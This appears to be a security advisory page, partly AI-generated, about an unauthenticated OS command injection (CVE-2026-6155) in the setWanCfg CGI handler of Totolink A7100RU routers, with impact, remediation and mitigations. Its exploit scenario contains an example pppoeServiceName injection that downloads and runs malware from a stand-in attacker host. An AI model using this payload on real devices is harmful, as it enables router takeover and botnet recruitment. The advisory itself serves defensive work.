Exploitation Conditions

Remote unauthenticated attacker can exploit the setWanCfg function in /cgi-bin/cstecgi.cgi on Totolik A7100RU firmware 7.4cu.2313 by manipulating the pppoeServiceName parameter to inject OS commands. No authentication or user interaction required.

Impact

Real-world risk is HIGH despite limited enterprise exposure due to SOHO device targeting. CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates trivial exploitation: network-accessible, low attack complexity, no authentication required, and no user interaction needed. The E:P (Proof-of-concept code exists) modifier confirms GitHub POC availability, lowering exploitation barrier significantly. While no CISA KEV listing suggests limited mass exploitation campaigns to date, publicly available exploit code for unauthenticated remote command injection in consumer routers typically leads to rapid botnet incorporation within weeks. SOHO routers often remain unpatched indefinitely due to consumer neglect and vendor abandonment. SSVC framework assessment: exploitation=POC, automatable=yes (network-accessible RCE), technical impact=total (root-level access). Prioritize if Totolink devices are present; otherwise deprioritize for enterprise environments but critical for SOHO/SMB networks. EPSS data not provided, but similar router RCE vulnerabilities typically score 30-60% exploitation probability within 12 months.

Exploit ScenarioDerived

An unauthenticated attacker scans the internet for Totolink A7100RU routers exposing the web management interface on WAN ports. Using the publicly available GitHub POC exploit, the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi with a malicious pppoeServiceName parameter containing shell commands (e.g., ';wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;'). The vulnerable setWanCfg function executes these commands as root, downloading and launching botnet malware. The compromised router joins a DDoS botnet, exfiltrates DNS queries for credential harvesting, or pivots into the internal network to attack connected devices.

AnalysisAIv1 – Apr 13, 2026

OS command injection in Totolink A7100RU router firmware 7.4cu.2313 allows unauthenticated remote attackers to execute arbitrary system commands via the pppoeServiceName parameter in the setWanCfg function of /cgi-bin/cstecgi.cgi. Publicly available exploit code exists (GitHub POC), enabling trivial remote compromise with high impact on confidentiality, integrity, and availability. CVSS 8.9 (Critical) with network attack vector, low complexity, and no authentication required. SOHO router vulnerabilities like this are commonly targeted for botnet recruitment and lateral network movement.

RemediationAI

No vendor-released patch identified at time of analysis. Totolink has not published security advisories or firmware updates addressing CVE-2026-6155 per available references. Immediate mitigations: disable remote management interface access from WAN (ensure administration is LAN-only), implement network segmentation to isolate IoT/router management traffic, deploy firewall rules blocking external access to TCP ports 80/443 on router WAN interface. Long-term: replace affected device with actively maintained router hardware from vendors with established security update programs, or monitor Totolink vendor site (https://www.totolink.net/) and VulDB advisory (https://vuldb.com/vuln/357035) for future patch availability. Consider this device end-of-security-life if no patch emerges within 90 days.

Technical ContextAI · show details

This vulnerability (CWE-78: OS Command Injection) resides in the CGI handler component of Totolink A7100RU wireless router firmware, specifically affecting version 7.4cu.2313 (CPE: cpe:2.3:a:totolink:a7100ru). The setWanCfg function in /cgi-bin/cstecgi.cgi fails to properly sanitize the pppoeServiceName parameter before passing it to system shell execution contexts. PPPoE (Point-to-Point Protocol over Ethernet) service name configuration is a WAN setup feature exposed through the web management interface. When user-supplied input containing shell metacharacters reaches underlying OS calls without validation, attackers can inject arbitrary commands that execute with the privileges of the web server process, typically root on embedded router platforms. CGI-based router interfaces are legacy web architectures common in consumer networking devices, often lacking modern input validation frameworks.

DescriptionCVE.org

A weakness has been identified in Totolink A7100RU 7.4cu.2313. The impacted element is the function setWanCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Executing a manipulation of the argument pppoeServiceName can lead to os command injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks.

Executive ViewAI

Why It Matters

Totolik A7100RU routers running firmware 7.4cu.2313 are vulnerable to unauthenticated remote command injection that allows attackers to completely compromise the device without credentials. Organizations with these routers in their network perimeter face immediate risk of botnet infection, network compromise, and lateral movement into internal systems. This vulnerability is particularly dangerous because exploitation requires no authentication and publicly available exploit code accelerates attack deployment.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict WAN access to /cgi-bin/cstecgi.cgi through firewall rules to trusted IP ranges only; (2) disable remote management features on affected routers; (3) implement network segmentation to isolate router management traffic; (4) deploy intrusion detection rules for pppoeServiceName parameter exploitation attempts; (5) monitor router logs for suspicious CGI requests; (6) consider replacing device if patch timeline is unacceptable given severity and active exploit availability.
